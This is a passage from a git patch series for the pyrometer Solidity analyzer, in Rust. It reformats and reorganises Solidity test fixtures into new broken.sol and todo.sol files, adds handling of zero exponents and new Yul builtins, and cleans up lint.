"Address index out of bounds"); - users[userId].addresses[addressIndex] = users[userId].addresses[users[userId].addresses.length - 1]; + require( + addressIndex < users[userId].addresses.length, + "Address index out of bounds" + ); + users[userId].addresses[addressIndex] = users[userId].addresses[ + users[userId].addresses.length - 1 + ]; users[userId].addresses.pop(); } - function deleteEmploymentHistory(uint256 userId, uint256 employmentIndex) public { - require(employmentIndex < users[userId].employmentHistory.length, "Employment index out of bounds"); - users[userId].employmentHistory[employmentIndex] = users[userId].employmentHistory[users[userId].employmentHistory.length - 1]; + function deleteEmploymentHistory( + uint256 userId, + uint256 employmentIndex + ) public { + require( + employmentIndex < users[userId].employmentHistory.length, + "Employment index out of bounds" + ); + users[userId].employmentHistory[employmentIndex] = users[userId] + .employmentHistory[users[userId].employmentHistory.length - 1]; users[userId].employmentHistory.pop(); } - function deleteEducationHistory(uint256 userId, uint256 educationIndex) public { - require(educationIndex < users[userId].educationHistory.length, "Education index out of bounds"); - users[userId].educationHistory[educationIndex] = users[userId].educationHistory[users[userId].educationHistory.length - 1]; + function deleteEducationHistory( + uint256 userId, + uint256 educationIndex + ) public { + require( + educationIndex < users[userId].educationHistory.length, + "Education index out of bounds" + ); + users[userId].educationHistory[educationIndex] = users[userId] + .educationHistory[users[userId].educationHistory.length - 1]; users[userId].educationHistory.pop(); } @@ -120,7 +149,11 @@ contract ComplexDelete { delete users[userId].preferences[key]; } - function updateContactInfo(uint256 userId, string memory newEmail, string memory newPhone) public { + function updateContactInfo( + uint256 userId, + string memory newEmail, + string memory newPhone + ) public { users[userId].contactInfo = ContactInfo(newEmail, newPhone); } @@ -135,71 +168,70 @@ contract ComplexDelete { function clearAllEducationHistory(uint256 userId) public { delete users[userId].educationHistory; } - } -contract UseComplexDelete { - ComplexDelete t; - - constructor() { - t = new ComplexDelete(); - } - - function useIt() public { - // Add users - t.addUser(1, "Alice", "alice@example.com", "1234567890"); - t.addUser(2, "Bob", "bob@example.com", "0987654321"); - - // Add addresses - t.addUserAddress(1, "123 Main St", "New York", "USA", 10001); - t.addUserAddress(1, "456 Elm St", "Los Angeles", "USA", 90001); - t.addUserAddress(2, "789 Oak St", "Chicago", "USA", 60601); - - // Add employment history - t.addEmploymentHistory(1, "TechCorp", "Developer", 1609459200, 1640995200); - t.addEmploymentHistory(1, "WebSoft", "Senior Developer", 1641081600, 0); - t.addEmploymentHistory(2, "DataFirm", "Analyst", 1577836800, 0); - - // Add education history - t.addEducationHistory(1, "Tech University", "BSc Computer Science", 2020); - t.addEducationHistory(2, "Data College", "MSc Data Science", 2019); - - // Set preferences - t.setUserPreference(1, "receiveNewsletter", true); - t.setUserPreference(1, "darkMode", false); - t.setUserPreference(2, "receiveNewsletter", false); - - // Test deletions and updates - - // Delete an address - t.deleteUserAddress(1, 0); - - // Delete employment history - t.deleteEmploymentHistory(1, 0); - - // Delete education history - t.deleteEducationHistory(2, 0); - - // Delete user preference - t.deleteUserPreference(1, "darkMode"); - - // Update contact info - t.updateContactInfo(2, "bob.new@example.com", "1122334455"); - - // Clear all addresses for a user - t.clearAllUserAddresses(1); - - // Clear all employment history for a user - t.clearAllEmploymentHistory(2); - - // Clear all education history for a user - t.clearAllEducationHistory(1); - - // Delete an entire user - t.deleteUser(1); - - // Add a new user to test after deletions - t.addUser(3, "Charlie", "charlie@example.com", "5556667777"); - t.addUserAddress(3, "321 Pine St", "San Francisco", "USA", 94101); - } -} \ No newline at end of file +// contract UseComplexDelete { +// ComplexDelete t; + +// constructor() { +// t = new ComplexDelete(); +// } + +// function useIt() public { +// // Add users +// t.addUser(1, "Alice", "alice@example.com", "1234567890"); +// t.addUser(2, "Bob", "bob@example.com", "0987654321"); + +// // Add addresses +// t.addUserAddress(1, "123 Main St", "New York", "USA", 10001); +// t.addUserAddress(1, "456 Elm St", "Los Angeles", "USA", 90001); +// t.addUserAddress(2, "789 Oak St", "Chicago", "USA", 60601); + +// // Add employment history +// t.addEmploymentHistory(1, "TechCorp", "Developer", 1609459200, 1640995200); +// t.addEmploymentHistory(1, "WebSoft", "Senior Developer", 1641081600, 0); +// t.addEmploymentHistory(2, "DataFirm", "Analyst", 1577836800, 0); + +// // Add education history +// t.addEducationHistory(1, "Tech University", "BSc Computer Science", 2020); +// t.addEducationHistory(2, "Data College", "MSc Data Science", 2019); + +// // Set preferences +// t.setUserPreference(1, "receiveNewsletter", true); +// t.setUserPreference(1, "darkMode", false); +// t.setUserPreference(2, "receiveNewsletter", false); + +// // Test deletions and updates + +// // Delete an address +// t.deleteUserAddress(1, 0); + +// // Delete employment history +// t.deleteEmploymentHistory(1, 0); + +// // Delete education history +// t.deleteEducationHistory(2, 0); + +// // Delete user preference +// t.deleteUserPreference(1, "darkMode"); + +// // Update contact info +// t.updateContactInfo(2, "bob.new@example.com", "1122334455"); + +// // Clear all addresses for a user +// t.clearAllUserAddresses(1); + +// // Clear all employment history for a user +// t.clearAllEmploymentHistory(2); + +// // Clear all education history for a user +// t.clearAllEducationHistory(1); + +// // Delete an entire user +// t.deleteUser(1); + +// // Add a new user to test after deletions +// t.addUser(3, "Charlie", "charlie@example.com", "5556667777"); +// t.addUserAddress(3, "321 Pine St", "San Francisco", "USA", 94101); +// } +// } diff --git a/crates/pyrometer/tests/test_data/require_with_killed.sol b/crates/pyrometer/tests/test_data/require_with_killed.sol index 2a2c2a40..aaf06db7 100644 --- a/crates/pyrometer/tests/test_data/require_with_killed.sol +++ b/crates/pyrometer/tests/test_data/require_with_killed.sol @@ -1,146 +1,164 @@ contract RequireWithKilled { - uint public count = 0; uint storeRange = 0; + function setStoreRange(uint x) public { storeRange = x; } - function requireLt(uint x) public { - // set bounds for storeRange - require(5 < storeRange && storeRange < 100); - "pyro::variable::storeRange::range::[6, 99]"; - // set tighter bounds for x - require(6 < x && x < 99); - "pyro::variable::x::range::[7, 98]"; - // make x less than storeRange - require(x < storeRange); - } - - function requireLte(uint x) public { - // set bounds for storeRange - require(5 < storeRange && storeRange < 100); - // set tighter bounds for x - require(6 < x && x < 99); - // make x less than or equal to storeRange - require(x <= storeRange); - } - - function requireGt(uint x) public { - // set bounds for storeRange - require(5 < storeRange && storeRange < 100); - // set tighter bounds for x - require(6 < x && x < 99); - // make x greater than storeRange - require(x > storeRange); - } - - function requireGte(uint x) public { - // set bounds for storeRange - require(5 < storeRange && storeRange < 100); - // set tighter bounds for x - require(6 < x && x < 99); - // make x greater than or equal to storeRange - require(x >= storeRange); - } - - function requireEq(uint x) public { - // set bounds for storeRange - require(5 < storeRange && storeRange < 100); - // set tighter bounds for x - require(6 < x && x < 99); - // make x equal to storeRange - require(x == storeRange); - } - - function requireNeq(uint x) public { - // set bounds for storeRange - require(5 < storeRange && storeRange < 100); - // set tighter bounds for x - require(6 < x && x < 99); - // make x not equal to storeRange - require(x != storeRange); - } - - function setCount() public { - count = 0; - } - function andShortCircuit() public { - count = 0; - // ( bump(false) && bump(true) ) || true , this will test that the second bump is not evaluated since the `and` short circuits - require((bumpCountIfValueEq1ThenReturn(1, false) && bumpCountIfValueEq1ThenReturn(1, true)) || true); - "pyro::variable::count::range::[1, 1]"; - } + // function requireLt(uint x) public { + // // set bounds for storeRange + // require(5 < storeRange && storeRange < 100); + // "pyro::variable::storeRange::range::[6, 99]"; + // // set tighter bounds for x + // require(6 < x && x < 99); + // "pyro::variable::x::range::[7, 98]"; + // // make x less than storeRange + // require(x < storeRange); + // } + + // function requireLte(uint x) public { + // // set bounds for storeRange + // require(5 < storeRange && storeRange < 100); + // // set tighter bounds for x + // require(6 < x && x < 99); + // // make x less than or equal to storeRange + // require(x <= storeRange); + // } + + // function requireGt(uint x) public { + // // set bounds for storeRange + // require(5 < storeRange && storeRange < 100); + // // set tighter bounds for x + // require(6 < x && x < 99); + // // make x greater than storeRange + // require(x > storeRange); + // } + + // function requireGte(uint x) public { + // // set bounds for storeRange + // require(5 < storeRange && storeRange < 100); + // // set tighter bounds for x + // require(6 < x && x < 99); + // // make x greater than or equal to storeRange + // require(x >= storeRange); + // } + + // function requireEq(uint x) public { + // // set bounds for storeRange + // require(5 < storeRange && storeRange < 100); + // // set tighter bounds for x + // require(6 < x && x < 99); + // // make x equal to storeRange + // require(x == storeRange); + // } + + // function requireNeq(uint x) public { + // // set bounds for storeRange + // require(5 < storeRange && storeRange < 100); + // // set tighter bounds for x + // require(6 < x && x < 99); + // // make x not equal to storeRange + // require(x != storeRange); + // } + + // function setCount() public { + // count = 0; + // } + // function andShortCircuit() public { + // count = 0; + // // ( bump(false) && bump(true) ) || true , this will test that the second bump is not evaluated since the `and` short circuits + // require( + // (bumpCountIfValueEq1ThenReturn(1, false) && + // bumpCountIfValueEq1ThenReturn(1, true)) || true + // ); + // "pyro::variable::count::range::[1, 1]"; + // } function andFullCircuit() public { count = 0; // ( bump(true) && bump(true) ) , this will test that the second bump is evaluated since the `and` does not short circuit - require(bumpCountIfValueEq1ThenReturn(1, true) && bumpCountIfValueEq1ThenReturn(1, true)); - "pyro::variable::count::range::[2, 2]"; - } - - function orShortCircuit() public { - count = 0; - // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits - require(bumpCountIfValueEq1ThenReturn(1, true) || bumpCountIfValueEq1ThenReturn(1, true)); - "pyro::variable::count::range::[1, 1]"; - } - - function orShortCircuitRHS() public { - count = 0; - // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits - require(bumpCountIfValueEq1ThenReturn(2, true) || bumpCountIfValueEq1ThenReturn(1, true)); - "pyro::variable::count::range::[0, 0]"; - - count = 0; - require(bumpCountIfValueEq1ThenReturn(1, true) || true); - "pyro::variable::count::range::[1, 1]"; - - count = 0; - require(true || bumpCountIfValueEq1ThenReturn(1, true)); - "pyro::variable::count::range::[0, 0]"; - } - - function yulAndFullCircuit() public { - count = 0; - assembly { - function bumpCountIfValueEq1ThenReturn(x, returnValue) -> result { - let count_val := sload(0) - // first if needs both x and count to be 0 - if and(eq(count_val, 0), eq(x, 0)) { - // add 1 to count - sstore(0, add(sload(0), 1)) - } - // second if needs both values to be 1 - if and(eq(count_val, 1), eq(x, 1)) { - // add 1 to count - sstore(0, add(sload(0), 1)) - } - result := true - } - - // in yul: rhs is evaluated, then lhs. no short circuiting - if or(bumpCountIfValueEq1ThenReturn(1, true), bumpCountIfValueEq1ThenReturn(0, true)) {} - } - "pyro::variable::count::range::[2, 2]"; - } - - function orFullCircuit() public { - count = 0; - // ( bump(false) || bump(true) ) , this will test that the second bump is evaluated since the `or` does not short circuit - require(bumpCountIfValueEq1ThenReturn(1, false) || bumpCountIfValueEq1ThenReturn(1, true)); + require( + (bumpCountIfValueEq1ThenReturn(1, true) && + bumpCountIfValueEq1ThenReturn(1, true)) + ); "pyro::variable::count::range::[2, 2]"; } - function bumpCountIfValueEq1ThenReturn(uint8 x, bool returnValue) internal returns (bool) { + // function orShortCircuit() public { + // count = 0; + // // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits + // require( + // bumpCountIfValueEq1ThenReturn(1, true) || + // bumpCountIfValueEq1ThenReturn(1, true) + // ); + // "pyro::variable::count::range::[1, 1]"; + // } + + // function orShortCircuitRHS() public { + // count = 0; + // // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits + // require( + // bumpCountIfValueEq1ThenReturn(2, true) || + // bumpCountIfValueEq1ThenReturn(1, true) + // ); + // "pyro::variable::count::range::[0, 0]"; + + // count = 0; + // require(bumpCountIfValueEq1ThenReturn(1, true) || true); + // "pyro::variable::count::range::[1, 1]"; + + // count = 0; + // require(true || bumpCountIfValueEq1ThenReturn(1, true)); + // "pyro::variable::count::range::[0, 0]"; + // } + + // function yulAndFullCircuit() public { + // count = 0; + // assembly { + // function bumpCountIfValueEq1ThenReturn(x, returnValue) -> result { + // let count_val := sload(0) + // // first if needs both x and count to be 0 + // if and(eq(count_val, 0), eq(x, 0)) { + // // add 1 to count + // sstore(0, add(sload(0), 1)) + // } + // // second if needs both values to be 1 + // if and(eq(count_val, 1), eq(x, 1)) { + // // add 1 to count + // sstore(0, add(sload(0), 1)) + // } + // result := true + // } + + // // in yul: rhs is evaluated, then lhs. no short circuiting + // if or( + // bumpCountIfValueEq1ThenReturn(1, true), + // bumpCountIfValueEq1ThenReturn(0, true) + // ) { + + // } + // } + // "pyro::variable::count::range::[2, 2]"; + // } + + // function orFullCircuit() public { + // count = 0; + // // ( bump(false) || bump(true) ) , this will test that the second bump is evaluated since the `or` does not short circuit + // require( + // bumpCountIfValueEq1ThenReturn(1, false) || + // bumpCountIfValueEq1ThenReturn(1, true) + // ); + // "pyro::variable::count::range::[2, 2]"; + // } + + function bumpCountIfValueEq1ThenReturn( + uint8 x, + bool returnValue + ) internal returns (bool) { if (x == 1) { count += 1; } return returnValue; } - } - - - - diff --git a/crates/pyrometer/tests/test_data/variable.sol b/crates/pyrometer/tests/test_data/variable.sol index 846fd356..93ffed8b 100644 --- a/crates/pyrometer/tests/test_data/variable.sol +++ b/crates/pyrometer/tests/test_data/variable.sol @@ -4,19 +4,23 @@ contract Variable { struct aUserType { uint aUserType; } - - function a_user_type_memory(aUserType memory a_user_type) public returns (uint) { - return a_user_type.aUserType; - } - function a_user_type_calldata(aUserType calldata a_user_type) public returns (uint) { + function a_user_type_memory( + aUserType memory a_user_type + ) public returns (uint) { return a_user_type.aUserType; } - function a_user_type_storage() public returns (uint) { - aUserType storage a_user_type = a_user_type; + function a_user_type_calldata( + aUserType calldata a_user_type + ) public returns (uint) { return a_user_type.aUserType; } + + // function a_user_type_storage() public returns (uint) { + // aUserType storage a_user_type = a_user_type; + // return a_user_type.aUserType; + // } } contract B { @@ -24,6 +28,7 @@ contract B { address a; } } + contract A is B { A a; // contract A @@ -36,9 +41,10 @@ contract A is B { contract C { C c; + function return_contract() external returns (C) { // c is of type Contract::C c = C(address(this)); return c; } -} \ No newline at end of file +} diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 3617c8ae..4ef603f7 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -605,8 +605,40 @@ pub trait Flatten: } } // Binary ops - Power(_, lhs, rhs) - | Add(_, lhs, rhs) + Power(loc, lhs, rhs) => { + self.traverse_expression(rhs, unchecked); + let rhs = self.expr_stack_mut().pop().unwrap(); + let zero_exp = match rhs { + FlatExpr::NumberLiteral(loc, int, exp, unit) + if int == "0" && unit.is_none() && exp.is_empty() => + { + self.push_expr(FlatExpr::NumberLiteral(loc, "1", "", None)); + true + } + FlatExpr::HexNumberLiteral(loc, int, unit) => { + let all_zero = int + .strip_prefix("0x") + .unwrap_or(int) + .chars() + .all(|char| char == '0'); + if all_zero { + self.push_expr(FlatExpr::NumberLiteral(loc, "1", "", None)); + true + } else { + false + } + } + _ => false, + }; + + if !zero_exp { + self.push_expr(rhs); + self.traverse_expression(lhs, unchecked); + self.push_expr(FlatExpr::Power(*loc, unchecked.unwrap_or(false))); + } + } + + Add(_, lhs, rhs) | AssignAdd(_, lhs, rhs) | Subtract(_, lhs, rhs) | AssignSubtract(_, lhs, rhs) diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index 0772bfb0..15500891 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -33,6 +33,15 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { match (lhs_paths, rhs_paths) { (_, ExprRet::Null) | (ExprRet::Null, _) => Ok(()), (_, ExprRet::CtxKilled(..)) | (ExprRet::CtxKilled(..), _) => Ok(()), + (ExprRet::SingleLiteral(lhs), ExprRet::SingleLiteral(rhs)) => self + .handle_require_inner( + arena, + ctx, + &ExprRet::Single(*lhs), + &ExprRet::Single(*rhs), + op, + loc, + ), (ExprRet::SingleLiteral(lhs), ExprRet::Single(rhs)) => { // ie: require(5 == a); ContextVarNode::from(*lhs) diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index 994e9eaf..4b5436d3 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -49,7 +49,7 @@ pub trait YulFuncCaller: } "pop" => Ok(()), "hash" | "basefee" | "chainid" | "coinbase" | "difficulty" | "gaslimit" | "number" - | "prevrandao" | "timestamp" => { + | "prevrandao" | "timestamp" | "blobhash" | "blobbasefee" => { let t = self.block_access(ctx, name, loc)?; ctx.push_expr(t, self).into_expr_err(loc) } From a88c7df6def4c1bd6135f579118391c52e925e57 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 22 Jul 2024 12:00:10 -0700 Subject: [PATCH 42/52] lint --- crates/pyrometer/tests/no_killed_ctxs.rs | 1 - crates/solc-expressions/src/cmp.rs | 3 +-- crates/solc-expressions/src/func_call/internal_call.rs | 4 +--- crates/solc-expressions/src/member_access/builtin_access.rs | 2 +- 4 files changed, 3 insertions(+), 7 deletions(-) diff --git a/crates/pyrometer/tests/no_killed_ctxs.rs b/crates/pyrometer/tests/no_killed_ctxs.rs index 0da44405..b9beb7d4 100644 --- a/crates/pyrometer/tests/no_killed_ctxs.rs +++ b/crates/pyrometer/tests/no_killed_ctxs.rs @@ -41,7 +41,6 @@ fn test_condop() { assert_no_parse_errors(path_str); } - #[test] fn test_delete() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); diff --git a/crates/solc-expressions/src/cmp.rs b/crates/solc-expressions/src/cmp.rs index ce06197f..9e74093b 100644 --- a/crates/solc-expressions/src/cmp.rs +++ b/crates/solc-expressions/src/cmp.rs @@ -6,10 +6,9 @@ use graph::{ }, AnalyzerBackend, Range, SolcRange, VarType, }; -use shared::{ExprErr, GraphError, IntoExprErr, RangeArena}; +use shared::{ExprErr, IntoExprErr, RangeArena}; use solang_parser::pt::{Expression, Loc}; -use std::cmp::Ordering; impl Cmp for T where T: AnalyzerBackend + Sized {} /// Handles comparator operations, i.e: `!` diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index d353e156..cc1eeb1c 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -6,9 +6,7 @@ use crate::{ }; use graph::{ - nodes::{ - BuiltInNode, ContextNode, ContextVarNode, ContractNode, FunctionNode, StructNode, TyNode, - }, + nodes::{BuiltInNode, ContextNode, ContextVarNode, ContractNode, FunctionNode, StructNode}, AnalyzerBackend, GraphBackend, Node, TypeNode, VarType, }; use shared::{ExprErr, GraphError, NodeIdx}; diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index ac013bbb..6bc7c455 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -3,7 +3,7 @@ use crate::LibraryAccess; use graph::{ nodes::{ BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ExprRet, Function, FunctionNode, - FunctionParam, FunctionParamNode, FunctionReturn, TyNode, + FunctionParam, FunctionReturn, TyNode, }, AnalyzerBackend, ContextEdge, Edge, VarType, }; From 1232c957b72223f33e4d2f6a17dfc5fe64e54647 Mon Sep 17 00:00:00 2001 From: plotchy <98172525+plotchy@users.noreply.github.com> Date: Mon, 22 Jul 2024 16:06:31 -0400 Subject: [PATCH 43/52] refactor tests to use todo.sol and broken.sol (#90) * refactor tests to use todo.sol and broken.sol * fixes and solidity fmts --- crates/pyrometer/tests/no_killed_ctxs.rs | 18 ++ crates/pyrometer/tests/test_data/assign.sol | 9 +- crates/pyrometer/tests/test_data/bin_op.sol | 3 +- crates/pyrometer/tests/test_data/broken.sol | 270 ++++++++++++++++++ crates/pyrometer/tests/test_data/cmp.sol | 4 +- crates/pyrometer/tests/test_data/delete.sol | 147 ++++------ .../pyrometer/tests/test_data/dyn_types.sol | 3 +- crates/pyrometer/tests/test_data/env.sol | 2 - crates/pyrometer/tests/test_data/literals.sol | 12 +- .../tests/test_data/require_with_killed.sol | 164 ----------- crates/pyrometer/tests/test_data/todo.sol | 44 +++ crates/pyrometer/tests/test_data/variable.sol | 22 +- 12 files changed, 406 insertions(+), 292 deletions(-) create mode 100644 crates/pyrometer/tests/test_data/broken.sol create mode 100644 crates/pyrometer/tests/test_data/todo.sol diff --git a/crates/pyrometer/tests/no_killed_ctxs.rs b/crates/pyrometer/tests/no_killed_ctxs.rs index b9beb7d4..352d3896 100644 --- a/crates/pyrometer/tests/no_killed_ctxs.rs +++ b/crates/pyrometer/tests/no_killed_ctxs.rs @@ -238,3 +238,21 @@ fn test_variable() { let sol = include_str!("./test_data/variable.sol"); assert_no_ctx_killed(path_str, sol); } + +#[test] +#[should_panic] +fn test_broken() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/broken.sol"); + let sol = include_str!("./test_data/broken.sol"); + assert_no_ctx_killed(path_str, sol); +} + +#[test] +#[should_panic] +fn test_todo() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/todo.sol"); + let sol = include_str!("./test_data/todo.sol"); + assert_no_ctx_killed(path_str, sol); +} diff --git a/crates/pyrometer/tests/test_data/assign.sol b/crates/pyrometer/tests/test_data/assign.sol index 64ce63cb..ebfd5f84 100644 --- a/crates/pyrometer/tests/test_data/assign.sol +++ b/crates/pyrometer/tests/test_data/assign.sol @@ -1,7 +1,6 @@ pragma solidity ^0.8.0; contract Assign { - function doAssignment() public { // Multi-value LHS (tuple) (uint x, uint y) = (uint16(1), 2); @@ -10,11 +9,5 @@ contract Assign { uint z = 3; (x, y) = (z, z); - - // uint[2] memory a = [uint(1), uint(2)]; - // uint[2] memory b = [uint(3), uint(4)]; - - - // (a, b) = (b, a); } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/bin_op.sol b/crates/pyrometer/tests/test_data/bin_op.sol index 90db5cdb..c78d64d3 100644 --- a/crates/pyrometer/tests/test_data/bin_op.sol +++ b/crates/pyrometer/tests/test_data/bin_op.sol @@ -1,10 +1,9 @@ pragma solidity ^0.8.0; contract BinOp { - function testBinOp(int y) public { int x = 1; int z = 5 + x; int a = x * y; } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/broken.sol b/crates/pyrometer/tests/test_data/broken.sol new file mode 100644 index 00000000..d32d9f55 --- /dev/null +++ b/crates/pyrometer/tests/test_data/broken.sol @@ -0,0 +1,270 @@ +pragma solidity ^0.8.0; + +/////// This block of code will live in variable.sol when fixed /////////// +contract B { + struct A { + address a; + } +} + +contract A is B { + A a; // contract A + + function return_struct() external returns (A memory) { + // a is of type B.A, *not* Contract::A + a = A(address(this)); + return a; + } +} + +////////////////////////////////////////////////////////////// + +///////// This whole contract will live in require_with_killed.sol when fixed /////////// +// Note: I've added broken@brock comments to the issues i know of +contract RequireWithKilled { + uint public count = 0; + uint storeRange = 0; + + function setStoreRange(uint x) public { + storeRange = x; + } + + function requireLt(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + "pyro::variable::storeRange::range::[6, 99]"; // broken@brock this range appears as [0,99] + // set tighter bounds for x + require(6 < x && x < 99); + "pyro::variable::x::range::[7, 98]"; // broken@brock this range appears as [0,98] + // make x less than storeRange + require(x < storeRange); + } + + function requireLte(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x less than or equal to storeRange + require(x <= storeRange); + } + + function requireGt(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x greater than storeRange + require(x > storeRange); + } + + function requireGte(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x greater than or equal to storeRange + require(x >= storeRange); + } + + function requireEq(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x equal to storeRange + require(x == storeRange); + } + + function requireNeq(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x not equal to storeRange + require(x != storeRange); + } + + function setCount() public { + count = 0; + } + + function andShortCircuit() public { + count = 0; + // ( bump(false) && bump(true) ) || true , this will test that the second bump is not evaluated since the `and` short circuits + require( + (bumpCountIfValueEq1ThenReturn(1, false) && + bumpCountIfValueEq1ThenReturn(1, true)) || true + ); + "pyro::variable::count::range::[1, 1]"; // broken@brock `count` is not found in context. this goes for the other "pyro::" statements with `count` too + } + + function andFullCircuit() public { + count = 0; + // ( bump(true) && bump(true) ) , this will test that the second bump is evaluated since the `and` does not short circuit + // broken@brock `&&` has parse issues here + require( + (bumpCountIfValueEq1ThenReturn(1, true) && + bumpCountIfValueEq1ThenReturn(1, true)) + ); + "pyro::variable::count::range::[2, 2]"; + } + + function orShortCircuit() public { + count = 0; + // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits + require( + bumpCountIfValueEq1ThenReturn(1, true) || + bumpCountIfValueEq1ThenReturn(1, true) + ); + "pyro::variable::count::range::[1, 1]"; + } + + function orShortCircuitRHS() public { + count = 0; + // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits + require( + bumpCountIfValueEq1ThenReturn(2, true) || + bumpCountIfValueEq1ThenReturn(1, true) + ); + "pyro::variable::count::range::[0, 0]"; + + count = 0; + require(bumpCountIfValueEq1ThenReturn(1, true) || true); + "pyro::variable::count::range::[1, 1]"; + + count = 0; + require(true || bumpCountIfValueEq1ThenReturn(1, true)); + "pyro::variable::count::range::[0, 0]"; + } + + function yulAndFullCircuit() public { + count = 0; + assembly { + function bumpCountIfValueEq1ThenReturn(x, returnValue) -> result { + let count_val := sload(0) + // first if needs both x and count to be 0 + if and(eq(count_val, 0), eq(x, 0)) { + // add 1 to count + sstore(0, add(sload(0), 1)) + } + // second if needs both values to be 1 + if and(eq(count_val, 1), eq(x, 1)) { + // add 1 to count + sstore(0, add(sload(0), 1)) + } + result := true + } + + // in yul: rhs is evaluated, then lhs. no short circuiting + if or( + bumpCountIfValueEq1ThenReturn(1, true), + bumpCountIfValueEq1ThenReturn(0, true) + ) { + + } + } + "pyro::variable::count::range::[2, 2]"; + } + + function orFullCircuit() public { + count = 0; + // ( bump(false) || bump(true) ) , this will test that the second bump is evaluated since the `or` does not short circuit + require( + bumpCountIfValueEq1ThenReturn(1, false) || + bumpCountIfValueEq1ThenReturn(1, true) + ); + "pyro::variable::count::range::[2, 2]"; + } + + function bumpCountIfValueEq1ThenReturn( + uint8 x, + bool returnValue + ) internal returns (bool) { + if (x == 1) { + count += 1; + } + return returnValue; + } +} + +///////////////////////////////////////////////////////////////// + +////// This contract's functions will be merged into delete.sol when fixed /////////// +contract ComplexDelete { + struct ContactInfo { + string email; + string phone; + } + + struct Address { + string street; + string city; + string country; + uint256 postalCode; + } + + struct Employment { + string company; + string position; + uint256 startDate; + uint256 endDate; + } + + struct Education { + string institution; + string degree; + uint256 graduationYear; + } + + struct User { + uint256 id; + string name; + ContactInfo contactInfo; + Address[] addresses; + Employment[] employmentHistory; + Education[] educationHistory; + mapping(string => bool) preferences; + } + + mapping(uint256 => User) public users; + uint256[] public userIds; + + function deleteUserAddress(uint256 userId, uint256 addressIndex) public { + require( + addressIndex < users[userId].addresses.length, + "Address index out of bounds" + ); + users[userId].addresses[addressIndex] = users[userId].addresses[ + users[userId].addresses.length - 1 + ]; + users[userId].addresses.pop(); + } + + function deleteEmploymentHistory( + uint256 userId, + uint256 employmentIndex + ) public { + require( + employmentIndex < users[userId].employmentHistory.length, + "Employment index out of bounds" + ); + users[userId].employmentHistory[employmentIndex] = users[userId] + .employmentHistory[users[userId].employmentHistory.length - 1]; + users[userId].employmentHistory.pop(); + } + + function deleteEducationHistory( + uint256 userId, + uint256 educationIndex + ) public { + require( + educationIndex < users[userId].educationHistory.length, + "Education index out of bounds" + ); + users[userId].educationHistory[educationIndex] = users[userId] + .educationHistory[users[userId].educationHistory.length - 1]; + users[userId].educationHistory.pop(); + } +} +///////////////////////////////////////////////////////////////// diff --git a/crates/pyrometer/tests/test_data/cmp.sol b/crates/pyrometer/tests/test_data/cmp.sol index 2c7b0f32..5ca64b57 100644 --- a/crates/pyrometer/tests/test_data/cmp.sol +++ b/crates/pyrometer/tests/test_data/cmp.sol @@ -1,10 +1,8 @@ pragma solidity ^0.8.0; contract Cmp { - function testCmp(int x) public { uint a = 5; bool b = (5 < 6) || (5 == 6 && 0 < 1); // Correct the tuple comparison - } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/delete.sol b/crates/pyrometer/tests/test_data/delete.sol index 1ab62cbb..23c3fc69 100644 --- a/crates/pyrometer/tests/test_data/delete.sol +++ b/crates/pyrometer/tests/test_data/delete.sol @@ -103,48 +103,10 @@ contract ComplexDelete { if (userIds[i] == userId) { userIds[i] = userIds[userIds.length - 1]; userIds.pop(); - // break; } } } - function deleteUserAddress(uint256 userId, uint256 addressIndex) public { - require( - addressIndex < users[userId].addresses.length, - "Address index out of bounds" - ); - users[userId].addresses[addressIndex] = users[userId].addresses[ - users[userId].addresses.length - 1 - ]; - users[userId].addresses.pop(); - } - - function deleteEmploymentHistory( - uint256 userId, - uint256 employmentIndex - ) public { - require( - employmentIndex < users[userId].employmentHistory.length, - "Employment index out of bounds" - ); - users[userId].employmentHistory[employmentIndex] = users[userId] - .employmentHistory[users[userId].employmentHistory.length - 